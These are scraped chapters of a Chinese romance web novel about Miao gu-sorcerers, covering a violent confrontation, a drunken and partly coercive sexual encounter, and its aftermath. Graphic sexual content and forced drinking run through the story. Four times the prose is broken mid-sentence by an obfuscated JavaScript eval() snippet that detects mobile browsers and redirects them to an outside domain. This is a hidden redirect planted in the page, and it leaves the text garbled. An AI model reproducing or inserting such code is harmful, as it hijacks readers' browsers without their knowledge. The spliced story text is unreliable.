在意识到发生了什么之前,这种焦躁感已使她倏然收手,警惕地四顾。 一切简直正常得不能再正常了。夜风正和煦地吹动草叶,寨子里灯火粼粼,歌舞飘渺。 随后她的头脑慢慢开始响应。 她忽然打了个寒颤。 在这样的夏夜里为什么没有虫鸣? 太安静了。 于是晓山青意识到自己已是来晚了。 她当机立断,立刻后退,蓄力,然后一脚对着门踹了过去。门当然是被闩着的,但架不住她用了十成的劲,那么现在门开了。 她一眼就看到了倾巢而出的蛊。 地上涌动的,堆叠的,翻腾的,全是虫子。密密麻麻的甲翅在夜色之中闪着油亮的光,肢节靠近时发出比风摩挲草叶更响的沙沙声。这声音刚刚还能被风声掩盖,眼下却越发得响了起来,简直让人头皮发麻。 即使晓山青是土生土长的苗人,也只觉得恐怖,因为她自然而然地想到了一个问题——谢歧现在到底能驾驭多少蛊。 苗疆最深奥的蛊术传女不传男,但“圣子”又凌驾于一切规则之上……真该死啊她怎么就不能是圣女呢? 晓山青的目光在屋内草草搜寻了一圈,没找到陆瑶光。于是她从袖中掏出了避虫的药丸,轻轻一捏,那墨一般黑的药丸便在她五指之中化为一片细密的粉末,又在她挥袖时如烟尘般散去。 好像什么都没发生。但虫潮暴躁的翻滚却逐渐停息下来,如同釜中沸物忽然被浇上了一勺冷水。 此时每往前走一步,必然是要踩到一些虫子的。但晓山青已顾不得那么多了,她不得不向前走。 一步,两步,三步——不,还没走到第三步。 内间传来了一连串的巨大声响。接下来是短兵相接的声音。 那声音简直是刺耳到令人牙酸,晓山青的脸登时就皱了起来。 当然她没有维持这个表情太久。因为宋寅被人一脚踹了出来——就像她踹开那扇门一样——横飞到了她眼前。 晓山青:“……” 没有停顿,宋寅翻身跃起,像一只鹞子一样冲了回去。然后又是叮铃哐啷一片响,他又被踢了出来,撞翻了一堆罐子,栽进了虫堆里。因为她刚刚做的手脚,虫潮没有立刻扑上去撕咬他。 倒塌的架子连带扯下了遮挡视线的油布帘。借着微光,晓山青终于看到了角落里的陆瑶光——少女小小一团蜷缩在那里,簌簌地流着泪。 看上去问题不大,还在喘气。晓山青想。 然后她闻到了酒香。 清冽冷甜、从黑暗里慢慢渡出来的桂花酒香。 “……他生得很好看吗?”手里握着她的桂花酒的少年就这样缓步从那里走了出来,冷冷地问。 晓山青:“……” “你喝醉了?”她只能硬着头皮问出这句话。干巴巴的,好像在说“晚饭吃过了吗”或者“今天天气怎么样”这样不合时宜的寒暄。 谢歧低低地笑了一下。 他在黑暗之中微微歪了歪头,眼神有点迷离:“这句话好熟悉。” 确实很熟悉。 几天前的夜色里,还是谢歧在问晓山青是不是醉了。那时她确实是有一点醉了,所以说了很多胡话,也说了很多实话。 而谢歧了解她,就像她了解谢歧。所以当她问出这句话的时候,她已经知道了答案。 这坛本就是为谢歧准备的酒在兜兜转转之后居然来到了谢歧手边,完成了它的使命。 命运是个圆圈。晓山青想起了这句寨子里很多老人都会挂在嘴边的土谚语。 当人老了,人死了,有人哭泣时,他们说——“命运是个圆圈”。好像这样勘破了死亡这个命题,就能全然无所畏惧地走进自己的坟墓,就能准备好被躺进高高的山与厚厚的林之中,等待漫长的睡眠之后一觉醒来,发出第一声啼哭。 但晓山青还是个孩子,还是个站在圆圈起点的少年。她当然勘不破这样宏伟的东西,但她在猛然间想起了这句话时隐隐约约有了一点属于自己的体悟——命运是个圆圈,所以她与谢歧总是相遇。 好了,现在不是继续参悟人生的时候了。 谢歧有点醉了,这很好。 谢歧有点醉了,但在这之前陆瑶光就已躺到了地上,这很不好。 所以这坛酒有没有发挥一点它该发挥的作用啊??比如说制造一些花前月下的氛围?创造一些情不自禁的机会? 或者说,它其实完全起到了反作用呢? 比如说…… 谢歧又单手拎起酒坛灌了一口。透明的酒液顺着他冷白的下颌滑落,浸湿了衣襟。 他没提一句屋内的混乱,也没看一眼正挣扎着起来的宋寅,只是轻声问道:“从进门开始,阿青看了他不止一眼。” “他生得很好看吗?” 晓山青:“……” 晓山青往后退了一步。 她有点崩溃。 这个问题今天是跳不过去了吗……不就是进门时候先去看宋寅了吗——不是,她又不是瞎子那么大一个人摔过来她还能看不见吗? 再退一步讲,眼前那么多乱七八糟的事,他也明知道她在其中捣鬼,就没别的东西想问问她吗? 脑海里那个预警的钟声又开始疯狂地响了。 她非常想像一只云豹、一只狐狸或者其他什么四足野兽一样伏下身子,慢慢后退,但她不能够。她既已经学会了两足行走,那就要用“人”的方法解决问题。 因此她非但没有后退,反而迎着那片黑暗,向谢歧的方向踏前一步。 “比起这个,”她的目光像冰锥一样刺向角落,“我更加关心陆姑娘是怎么了。” “……是吗。” 比起晓山青,显然谢歧的位置离陆瑶光更近一点。所以他只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488512|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 移动了一步,就来到了陆瑶光的身边,粗暴地拽着陆瑶光的胳膊,把她从地上拉了起来。 陆瑶光发出了一声短促的尖叫,也没能站起来,而是跌跌撞撞地拧过身子,又哀哀地瘫倒在地。 晓山青这才看清了她的样子。 发髻散乱,妆糊成了一片,这些倒是没什么——但她雪白的脖颈处赫然多了几道发红的指痕。 这下,晓山青又重新把目光放回到了谢歧身上。 这已不止是生气了,简直是近乎失控的暴怒。 趋利避害的本能又使她的脚蠢蠢欲动地想调转方向,但是有什么遥远的东西拉住了她的脚踝。 这样好的机会绝没有下一次。而远方的城池里,她的阿娘还在等她。 所以不行。谢歧还不够生气。 “她拿你的酒过来找我。”谢歧看着她说道。 晓山青:“……” 她并不回避他的目光,也看着他,慢慢地说道:“我知道。” “她还带着花带来。”谢歧的声音更低了些。 “我知道。”晓山青说,“你忘了吗?是我教她打花带的。” “可是你说是你想打……”谢歧带着一丝酒后的茫然看着她。 “骗你的。”她很干脆地回答道,“你也知道我是骗你的。” “可她……她是拿了你的那条花带来,想要……”谢歧几乎是有点慌张了。他很少露出这样可以被算作示弱的神色,但此刻晓山青看到了。那双琥珀色的眼睛盯着她,像是在委屈,又翻滚着近乎哀求的期待。好像如果她善解人意地点点头,或者露出恍然大悟的神色,谢歧就能从这混乱痛苦的泥沼中获得片刻喘息。 晓山青确实是愣了一下,因为她是没料到陆瑶光拿错了花带。 那几条花带堆在一处,根本没什么大差别,她倒是奇怪,连她自己都没记住,谢歧怎么就记住哪几条是她编的呢? 但是无所谓。 这不重要。 她知道自己怎么样回答才更残忍。 于是她站在那儿,微微仰起头,眼睛在黑暗中兴奋地闪闪发光。同时她的声音很轻柔,很婉转,像是真的要善解人意一次,或者恍然大悟一下。 “我知道,谢歧。” 她向来是乐于享受他的痛苦:“这些我都知道。” 谢歧的喉间发出了野兽般的低低的吼声。 他攥着陆瑶光手腕的手松开了,少女如同被丢弃的破布娃娃般重重摔落在地。 而谢歧带着山雨欲来般的死寂,一步步向晓山青走来。 晓山青站在一片狼藉与暴怒的中心,既没有退,也没有害怕。 她也不必害怕。 她只是想,她好像确实知道了一个秘密。 其实她不该知道这件事。没关系,她有一副非常冷硬的心肠,因此并没有任何触动。 晓山青只觉得命运真的非常可笑。这飘渺又让人捉摸不透的东西,似乎真的只是一个圆圈。它竟然以这样的方式把自己给圆了回来。 她要利用他的愤怒,他的失控,他的混乱。而从某个角度讲,这与她原本的计划不谋而合。 她曾经想利用他的“爱情”,而如今,她确实在利用他的“爱情”。 11. 酒后 这几步的距离近得可怕。 谢歧这样的个子,这样的长腿,走到她面前来只需要多久? ——可能一个眨眼就够了。 而宋寅起身、冲到跌倒在地的陆瑶光身边、再把她带出去,又需要多久? ——或许也不需要太久。 一息之间,原本还踉跄着捂着腰腹的宋寅忽然直起身来,像一道电光一样从谢歧身侧疾掠而过,以不可思议的速度抓住了陆瑶光。 这一切简直是快得让人无法想象,但就在这一个照面的时间,谢歧脚步微顿,一道黑色的影子已自他袖中迸出,如寒星一样朝那两人冲去。 那是一条鳞片乌黑、细如竹筷的小蛇。它竟全然无视了宋寅,精准地落在陆瑶光身上,高高昂起三角形的蛇头,蓄满毒液的蛇牙就要对准她裸露的皮肤咬下。 等等,陆瑶光不是有什么会让这类毒物忌惮的东西吗……?!! 但晓山青来不及想那么多了——对于她来说,今天这两个人一个都不能死在这里。 她喉间猛地一滚,舌下那枚小小的哨子已瞬间滑至齿间。 这一次,这枚哨子发出了尖锐的哨声。几乎在哨音响起的同时,宋寅怀中一道白光骤然窜出,在空中划过一道凌厉的弧线,精准无比地一口咬向黑蛇的七寸。 白仙的毒足够解决这条小蛇。 两条蛇纠缠着掉落在地面上,激烈地扭打、绞缠、翻滚,不出片刻,黑蛇剧烈地抽搐了几下,蛇身陡然僵硬绷直,慢慢没了动静。而就在这几个瞬间里,宋寅已带着陆瑶光从后间洞开的窗户撞了出去。 窗外一声沉闷的落地声过后,那两人仿佛已被无边的夜色彻底吞噬。只剩下两扇被撞开的窗页在夜风中无助地摇晃,发出了空洞而悠长的“吱呀”声。 谢歧无声地看着眼前这一幕,良久,从喉间滚出一声轻笑。他一点点转动脖子,目光从窗口缓缓转向了晓山青。然后他抬起了那只几乎未动过的右手,把酒送到了嘴边囫囵灌了一口——他居然还没放下那坛桂花酒。 溢出的酒液浸湿了他的唇角,顺着下颌滴滴答答往下淌,既落在他的衣襟深处,也滑过了他那只一直死死扣着坛身、因过度用力而青筋暴起的手,在上留下了一道水痕。 “是你帮他偷走了我的东西,阿青。”谢歧慢慢地说。 好吧,她在背后动手动脚是一回事,当面被揭穿又是另一回事。 晓山青确实有点心虚,尤其是当谢歧一字一句把她做过的事叙述出来的时候。 “你救了他一命。” “这还不够。你把白仙给了他,还教他从哪里进来,怎么躲开我的黑水蛊。” 晓山青:“……” 她没敢吭声。 谢歧没有再说下去,但晓山青能从他的目光里读出他接下来想说的话——你准备好付出一些与之等价的东西了吗? “……” 晓山青的回答是一个轻巧的跳跃。 ——她跳开了一步,转身就往门外跑。 * 没跑掉。 好吧,她早知道跑掉没那么容易。她就是想试试,但显然山神娘娘不会总是垂青于她。 这屋子已被他们打得更加狼藉。窗依旧是开着的,窗页随着山风吱嘎摇晃。满地的虫子被各自的主人驱使着离开了屋子或者躲进了隐蔽的缝隙,以免再被误伤。架子与帘子依旧倒在地上,也没人有空能腾出手来扶一扶——当然没空,这屋里唯二的人再短暂地分开之后,又一次扭打在了一起。 谢歧的招数实在是太烦人了,甩不脱,又走不掉。 晓山青怀里的银匕首早在一开始就被谢歧甩远了,当然谢歧身上那些伤人的小东西也已被她一一踢走。于是当这些他们惯用的手段——那些蛊,那些虫和蛇,还有那些锋利的刀子和带毒的暗器——都依次离开战场的时候,战争就不得不变得原始、野蛮、不体面了起来。 晓山青在头昏脑胀之间觉得仿佛回到了小时候。 因为那时候他们还只能在泥地里打滚互殴,能用上的武器大概只有自己的四肢。而经验告诉她,如果想给对方造成更深刻一点的伤害,那就只有再用上指甲,再用上牙齿。 在晓山青第三次被谢歧掀翻在地板上时,沉重的撞击让她后背发痛。她实在是懒得再动了,或许往日里她还会想办法起来,但今天,今天她太累了。 于是她就着被谢歧困住的姿势顺滑地躺倒在了地上,大口喘气:“还要打多久?” 谢歧跪压在她身边,另一只手撑在她耳旁,膝盖死死压着她的腿。很用力,没有一点留情。他就这样居高临下地看着她,呼吸越来越急促,越来越急促……似乎有什么东西要从他那双琥珀色的眼睛里喷薄而出。 就在晓山青以为他不打算回答这个问题的时候,他忽然动了。 他往四周看了看,探身从不远处捞过了那个酒坛。 ……真是太神奇了,这样大的灾难里这坛酒居然还没碎。 然后她看到这酒坛被谢歧修长、有力、骨节分明的手送到了她的唇边。 “等等……等等!” 措不及防的,一口烈酒灌了进来。 晓山青咳得惊天动地,挣扎着就要坐起来。 谢歧并没有阻止她,只是在她的呛咳停下来之后又强硬地扶住了她的后颈。 “你到底想……等等!” 又一口烈酒。一半顺着她扬起的颈往下淌,黏腻在她的小衣里,一半被送进了喉里,被她狼狈地吞咽下去。于是又是一阵惊天动地的咳嗽,谢歧的手还从她的脑后滑了下去,落在了她的背上,装模作样地拍了拍。 晓山青非常想一把把他的手拽了下来,但是没来得及——因为更让她目瞪口呆的事情发生了。 谢歧自己也仰头喝了一口酒——就凑在她刚刚喝过的位置。 她忍不住发出了质问:“你疯了吗?” “……” 酒坛带着不容置疑的力道,再次逼近她的唇。 她算是看出来了,谢歧大概是不想听她张嘴讲话吧!!! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488513|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是她做出了最后的反抗:“……我自己喝!” 这次谢歧的动作停住了。他只是冷淡地垂眸,看着她胡乱地抹开汗湿黏在额前的碎发,低头靠过来,然后吞咽。 他伸出手,似乎想抹去她唇边的酒痕。 抹不完。 实在是太多了。其实刚刚喂的那两口酒大半都泼洒了出来,因此她的皮肤显得湿淋淋的,透着诱人的水色。 甚至锁骨那儿还蓄着一汪酒水,随着她胸口起伏微微荡漾。 谢歧的眸色逐渐变深,变暗。 他忽然也想起了他们年幼的时候,那时候他们也打架,像两只丛林里的小兽。先用指甲,然后用牙齿,不分轻重地在彼此身上留下伤痕。 * 晓山青把嘴里这口酒咽下去的时候,才发现这口酒似乎不像她那坛桂花酒那样绵密,回味悠长。 它似乎更凶,更烈,以一种疾风荡过劲草、烈马撕开草原的架势在她胃中横冲直撞。当然同时,它也以这种无法阻拦的姿态裹挟了她的思维,把她原本清晰的头脑也带得横冲直撞起来——她甚至觉得自己突突跳动的额头里住进了一匹疯跑的野马。 谢歧大概是已经疯了。他在烈酒里混进了另一种更烈的酒,只有一心求醉的酒鬼才能干出这种事。 晓山青已经完全放弃去思考一个疯子想干什么了——所以当他俯下身来,舔掉她锁骨上那点酒的时候,她已经觉得一切都正常得很。 她只是许久地、沉默地注视着他,抬手抓住了谢歧的黑发,把他拖开了一点。 但是,即使这样,她还是低估了谢歧的随心所欲。 他就这样顺势伸手捏住了她的手腕,把她的手带到了自己的脸侧。 ……如果他的意思是让晓山青扇他一巴掌解解气的话,那晓山青会很高兴。可如果他想一路顺着她的手舔上来的话,那晓山青只会真的想扇他。 现在的情况好像是后者。 于是刚刚已决定不再开口的晓山青忍不住随手抓着他脖子上的银链一扯。银饰碰撞,发出了一片脆响。她微微歪着头,勾着链子,注视着那张漂亮的脸:“……你知道你自己在干什么吗?” “我知道。”谢歧说。 “……我当然知道我想要什么。”他再度俯首,近乎呢喃一般的细语从他唇边溢出:“我会让你……让你觉得舒服的。” 绵软的吻落在手腕,酥麻的电流就这样穿过四肢百骸,叫她如坠落云端。 晓山青迟钝地想,她是不是应该再说点什么,但是谢歧确实让她很舒服。 他小心翼翼的吻落在哪里,哪里就变得暖融融了起来。 从手腕,到指尖,再到锁骨、脖颈,一小片一小片的火苗被他点了起来,汇合成了一场燎原的大火,烧得她额头滚烫。 可偏偏最后一个吻就降临在眉心。 他捧着她的脸,亲了亲她的眉心,然后抬头看她:“……你不是就喜欢我这副皮囊吗?” 晓山青在一刹那获得了片刻供她喘息的清醒。 12. 巫山 她喜欢这张皮囊吗? 那个完全清醒的晓山青会找到说“不”的理由。 但现在,她有点茫然反问自己: ……她真的不喜欢吗? 她那样喜欢日光下波光绚丽的翠湖,喜欢闯过藤桥后破破碎碎的春光,喜欢山顶倾泻而下的流水一样的云雾,喜欢鹧鸪与花鹊斑斓又美丽的羽毛。 所以她怎么会不喜欢这样漂亮的东西?又怎么会不为这漂亮的东西,生出一些小小的、轻微的、微不足道的迷惑与动摇呢? 她毕竟还那样年轻。 ……她毕竟还那样年轻。 * 她很少有这样失去理智的时刻。晓山青想。 但现在,她听到了这她向来引以为傲的东西发出了冰凌破碎般的脆响,而后是这句话掀起的狂风席卷而来,以摧枯拉朽的姿态撕碎了她为自己筑起的壳甲——仅仅因为这么一句话。 她大可以把这句话当成疯子的呓语轻轻放过,或者像往日一样继续伶牙俐齿地用口舌反驳,但是她的头脑里空白得可怕。 所以她几乎是惊骇得遵循了本能。 这个刚刚寂静下来的夜中突兀地响起一声脆响。 谢歧微微地偏过头去,散乱的墨发垂落,盖住了他一侧的眉眼。而在他的另一半脸上,逐渐浮现了几道淡红的指痕,仿佛雪地里的红梅。 晓山青张了张口。她其实并没有想好要说点什么,喉间也没有发出任何声音,但谢歧似乎误以为她又想吐出一些既不动听又不悦耳的话来。 于是少年的眼睛里闪过了一抹痛苦的神色,连带着流畅的面部肌肉都微微扭曲了一下。他咬紧了牙关,从齿间挤出了一句模糊的低语,然后凶狠地倾身过来。 ……晓山青猛地瞪大了眼睛。 谢歧的脸在她眼前放大,占据了她的全部视野。她看到他颤抖着的、纤长浓密的睫毛,他流光潋滟的瞳孔,他微微上挑的眼尾,还有她留在他脸上的指痕——带着糜艳的红。 太近了……这次她确确实实想发出一点声音,但是下一秒,她的唇就被封堵住了——这回不是酒,而是一个带着浓烈酒气又辗转炙热的吻。 “谢……唔!” 还未退散的暖流再一次席卷了她的全身,血液在耳膜里奔流轰鸣。她只觉得哪里都是热的,手脚发烫,酥麻的痒意从尾椎骨直窜到头顶,连交缠的呼吸里也带着绵绵的热意。 谢歧亲得实在是有些笨拙。可偏偏她自己也没什么此方的经验,对这样陌生的感觉毫无抵抗之力。 她就这样被谢歧托着腰肢挪到了腿上,在短暂的休憩间隙里有点迷惘地看着他。 她的手撑在少年紧绷的肩臂之上,维持着自己由上而下俯视他的姿态,但她依旧没有放开手上拽着的那条银链。被拽紧的链子与银饰总是不松不紧地划过少年的喉结,引得他偶尔为之轻颤。 这是自从谢歧抽条般拔高个子后,她鲜少能拥有的视角。 她有一些新奇,因此毫不吝啬地将自己全部的目光都倾注到了他身上。 在这样的碾磨撕咬之后,谢歧的唇变得红润极了。下唇边缘,她咬破了一个小口子的地方,隐隐约约地渗出了一颗殷红的血珠,又被他轻轻地一舔,消失在舌尖。 他也仰头看着她,用毫不掩饰的贪婪眼神表达着某一种渴求。 晓山青当然知道如果她回应了这种渴求之后会发生什么事。 她向来对“贞洁”“清白”这类字眼嗤之以鼻。 所以她只是仔细地想了想自己愿不愿意。 夜风送来了瀑布丰沛的水汽,外面的草木里逐渐又响起了零零散散的虫鸣,远远的还有歌声飘来。苗人是唱不出“既见君子,云胡不喜”这样含蓄的雅句的,但他们照样有许许多多的山歌来表达同一种情思,用他们最熟悉、最亲切的语言,用更炽热、更直白、更拨人心弦的词句。 如果不看这凌乱的战场,单看这有歌、有酒、有星河倒挂的夏夜,那实在是美妙极了。 如此良夜。 适合衷肠互诉,适合情意相表,也适合互相欺骗,或者……漏夜奔逃。 晓山青忽然伸出手,用指腹重重摩挲了一下那个近在咫尺的伤口。 谢歧发出了轻轻的抽气声,看上去十分可怜。 但她没有停下,而是用指尖撬开了他的唇,粗暴地抵住了上颚迫使他张口。然后她探进去的手指在湿热的口腔里转了一圈,如愿摸到了谢歧那两颗尖尖的犬牙。 她常常这样检查白仙的蛇牙,但这个动作用在谢歧身上似乎也毫无违和感。 只是他被涎水弄得有些狼狈,在含糊的闷哼中还在艰难地用舌卷住她的指尖,带来一直古怪的滑腻触感。 “……你说得对,确实没有人能对这张脸无动于衷。”她喃喃道。 晓山青漫不经心地想着,他的血那么珍贵,确实不该被这么平白浪费。 于是她抽出了手指,在他衣衫散乱的胸口随意地擦了擦,“……不要在这里。” 她补充道:“去我的住处。” 谢歧的呼吸似乎停滞住了。 * 阿爹离家的时候,家里只有晓山青一个人。但即使如此,她依旧把自己的卧房与床铺收拾得很柔软、很温馨。 她当然不想把谢歧带到自己的房间里来。但比起这个,她更不能接受在谢歧那幢前门后窗都被撞得摇摇欲坠的吊楼里继续呆下去。 但她很快又对这个决定感到后悔了——她可以把谢歧扔出去吗? * 长发变得恼人地累赘了起来。 她想抓握住一点什么东西,忽然被谢歧握住了手,他的五指慢慢从指缝间挤了进来,与她的手扣在了一处。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488514|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >还有混着一点淡淡铁锈味的吻。 他流连在她的颈侧、锁骨,每在一个地方辗转停留,都要留下一长串连绵的呢喃:“阿青,阿青,阿青……” ……别叫了行不行。 晓山青盯着深色的帐子顶,忍不住分神想。 但很快谢歧的手把她的注意力又拉了回去。 她几乎是难耐地仰起了脖子。 这样过分亲昵的十指交扣与毫无间隙的相拥,这样一重复一重冲刷着她的热潮,都让她不得不屏住呼吸,拿出十二分的精力去应对。 但凡她微微地分一分神,想一想别的东西,谢歧就会不满地将她拖回眼前的战场,拖进更深更沉的水域。 她感到有些恐惧,又忍不住想战栗。 邻家的阿姐说,挑选情郎的标准无非就两个,年轻、漂亮。后者不必多言,而前者嘛……年轻的总是体力好、会折腾些,阿姐们互相推搡着,笑嘻嘻地调侃道。 谢歧无疑是过于符合标准了。 刚开始他还没暴露本性,可以称得上顺从。但现在,他好像尝到了甜头,几乎是食髓知味了。 他那样缠缠绵绵地叫她的名字,又用小动作迫使她回应。 晓山青被缠得烦了,简直想抓着他的头发把他拎上来甩他两巴掌。 她确实是这么做了,但谢歧这狡猾的东西趁机亲了亲她的手,在她惊愕地怀疑自己的手还能不能要时又滑了下去。于是她只能再次咬住一束已被汗湿的发,像一条被送进煎锅里的鱼。 不,比鱼好一点。一条躺在锅里的鱼是没有指甲与牙齿的,但是晓山青有。 所以当谢歧终于抬起头来、凑过来想要再亲亲她的脖子的时候,已经没什么力气的晓山青还是用指甲和牙齿在他身上再加了一点痕迹。 “……疯子。”她骂道。 “天还没亮。”谢歧答非所问。 “阿青,天还没亮。”他从湿漉漉的长睫下看了她一眼。 晓山青:“……” “我想睡觉。”她面无表情地说。 “可是我还没好。”谢歧有点委屈地看着她,俯下身趴到她的颈窝,“阿青,你再帮帮我,再帮帮我好不好……” 他又扣住了她的腰把她拉向了他的怀抱,然后低头咬向她的脖颈,毫不客气地在这些衣物遮盖不住的地方留下了更深、更清晰的咬痕。 “阿青,阿青……” 帐子又微微地抖动起来,好像一艘惊涛骇浪之上的小船。 晓山青抓着少年的肩背,昏昏沉沉间忽然想起了谢歧眼中闪过的那抹痛苦到无法忍受的暗色。 明明他俯身的动作那么凶狠,为什么他的脸上还带着这样悲伤的、如同在乞求什么一般的表情呢? 那时候他说了一句什么呢? 好像是…… 为什么要把我推给别人? 13. 白鸟 她梦到了一个全然陌生的地方。 玉石的门庭,长长的白色台阶,鸟翼一样的檐牙,还有许许多多隐没在雾气之中的楼宇。 就在这迷蒙的雾气里,似乎有一只白色的鹰隼在盘旋。它的鸣叫声如此的有力,穿透了云雾,在空荡的楼阁亭台之间回荡。 晓山青的目光追随着它飞行的轨迹,看着它自在地俯冲又拔起,向整片巨大的天空展示自己强健的翅膀与积雪一般闪着光的翎羽。日光映着它熠熠生辉的眼睛,它那样漂亮,那样骄傲,又那样自由。 似乎有人在她耳边慢慢地念了一句诗。 “羽虫三百又六十,神俊最属……” 晓山青从这个梦中豁然惊醒。 * 窗子被油布帘遮盖得严严实实,只从一角漏出一点光线来。 室内浓郁的气息已经尽数散去,但地上仍散落着各种东西。 缠绕在一起的银饰,已经变得皱巴巴的外衫与腰带,还有……她那件藕荷色的小衣。 晓山青对着小衣看了又看,确定了她伸长了手后勉强能够到这点距离。但她还没动,横在她腰上的手臂就收紧,把她拉到了背后火烫的怀抱。 一个吻又缠了上来,落在她的颈窝。 “阿青,阿青……”谢歧哑着嗓子,含混不清地叫她的名字。 “别叫了。”晓山青被叫得头昏脑胀,不耐烦地把他的脸推走。 但谢歧并不在意。他又追了回去,伸手拨开了少女颈侧的长发,继续把唇压在她红痕遍布的肌肤上缠绵。 血液奔流带来的震颤清晰地顺着薄薄的皮肤传导到了他的指尖上。他吻在那里,像衔住了一颗小小的心脏。 少女在吻落下的时候微微抖了一下。 她好像想要别开头,但又极力忍耐了下来。 谢歧敏锐地察觉到了这一讯息,于是他的吻变得越发得寸进尺,甚至开始慢慢地变味了起来。 如今刚刚晨起,他当然难受得很,只希望这样偷来的慰藉能多一点,再多一点。 他悄悄观察着晓山青。 少女被他紧紧锢在了怀里,懒洋洋的,并没有挣扎或者抗拒。甚至当他想要亲一亲她有些肿了的下唇时,她也没有闪躲,只是有点烦地瞥了他一眼,然后继续皱着眉头发她的呆。 那样乖地任由着他折腾。 他的胸腔里疯狂地涌动起喜悦。 “阿青,阿青,阿青……” 这样梦一般的呓语就这样脱口而出。 那长久以来如影如随的空洞感终于被什么东西填满。他什么也不想再想,只想继续抱着她,在她身上留满他的气息。 ——直到少女说出了那句话。 “……为什么你的蛇能伤害到陆瑶光?”她似乎很困惑,忍了又忍,最后还是忍不住问他。 血液迅速地冷了下来。 尖锐的痛苦又重新占据了他的身体,大肆嘲笑他的愚蠢与自欺欺人。他感受到如附骨之疽般的疼痛啃噬起他的肢体,他的血液,他的魂魄——那疼痛好像来自栖息在他身体深处那些蛊,又好像来自他的心脏。 为什么?为什么总是要提起陆瑶光这个名字? “不要提她,不要提无关紧要的人……你看着我,只看着我好不好?” 声音闷闷的,低得要飘落在空里。 他没有放开怀里的少女。 反而把她抱得更紧了。 * “我不问了,我不问了……你哭什么呀?” 晓山青简直是手忙脚乱了。 一边挣脱谢歧碍事的手,一边还要狼狈地抱着被子穿小衣。 他都被气哭了,还不肯放开她,好像她在自己的屋子里能跑到哪里去一样。被这样扯着,她甚至下不了床好不好? “我错了。”她翻身趴到他身上伸手去摸他的脸,还真的摸到了湿意,“我不问了还不成吗?” “我不问了,你饿不饿,我去寻一些吃食?” “不饿。”他偏过头去。 “我真的错了。”晓山青碰了碰他下唇上那点血痂,凑上去亲了一下。 阿姐教过她各种千奇百怪的法子,当然她是完全没学明白……但这个时候顺着他的心意来总是没错的吧? 总比让他再想起来昨天的事好。这样被“阴差阳错”填满的计划,实在经不起一点…… 她撑在他紧实的腰腹上看他,忽然面色变得古怪了起来。 “……谢歧。”她顿了顿,语气微妙,“你在兴奋什么?” 晓山青简直是想不通,他难道不累吗?就这样轻轻一压,就能勾出他的欲\火? 谢歧的手又滑到了她的背上,把小衣的带子拽来拽去,带着水光的眼睛眨也不眨。“不能怪我,阿青,现在是早上……” “你自己解决。”晓山青咬牙切齿,“我饿了,我要下床。” “阿青,阿青,阿青……” “不行。” “阿青,阿青,很快就好,借我一下……”他抓着她的手往下带,犹在不知足地哼道,“借我一下你的手。” 这大概注定是一个无法顺利早起的清晨。 当晓山青终于能坐在桌前,往空空如也的肚子里填一点朝食的时候,她身上的痕迹又被谢歧加重了一遍。 谢歧回去了一趟,回来时身上换了新的衣物,还带着新鲜的水汽——大概是洗了个澡。 没有人能忍受着这样事后的黏腻,她也趁着这点时间把自己从头到尾洗刷了一遍。 发尾还在往下淅淅沥沥地滴水时,谢歧就已经回来了。 晓山青:“……” “我都这个样子难不成还能跑出门吗?”她没好气地问谢歧。 她现在哪儿哪儿都疼。腰疼,腿疼,脖子疼,一动就仿佛要散架了一般,骨头嘎吱嘎吱地响。还有满脖子被啃的牙印,谁能想到那个把她啃成这样的人还特别地委屈? “我帮你绞头发。”谢歧的眼神微微飘忽了一下,“这几日不出门也行。” 又小声地补充了一句,“要是你想出去……” 晓山青斩钉截铁:“不,我不出去。” 谢歧点了点头,从袖子里摸出了一个小陶瓶,轻轻推到她面前:“……我给你带了药。” “哦?”晓山青随口道,“避子药?” 谢歧似乎僵了僵。 “不是,是那个,消肿的。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488515|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “对不起,我昨晚不该……”他把头埋下来,含含糊糊地说,“我昨晚不该弄进去的。” “没事。”晓山青往嘴里送东西,说话也含含糊糊的,“你本来就没有那个能力。” “我没有……什么?!”谢歧砰地一下抬头。 “那么紧张干什么……你自己的身子你还不清楚吗?”晓山青看都没看他一眼。 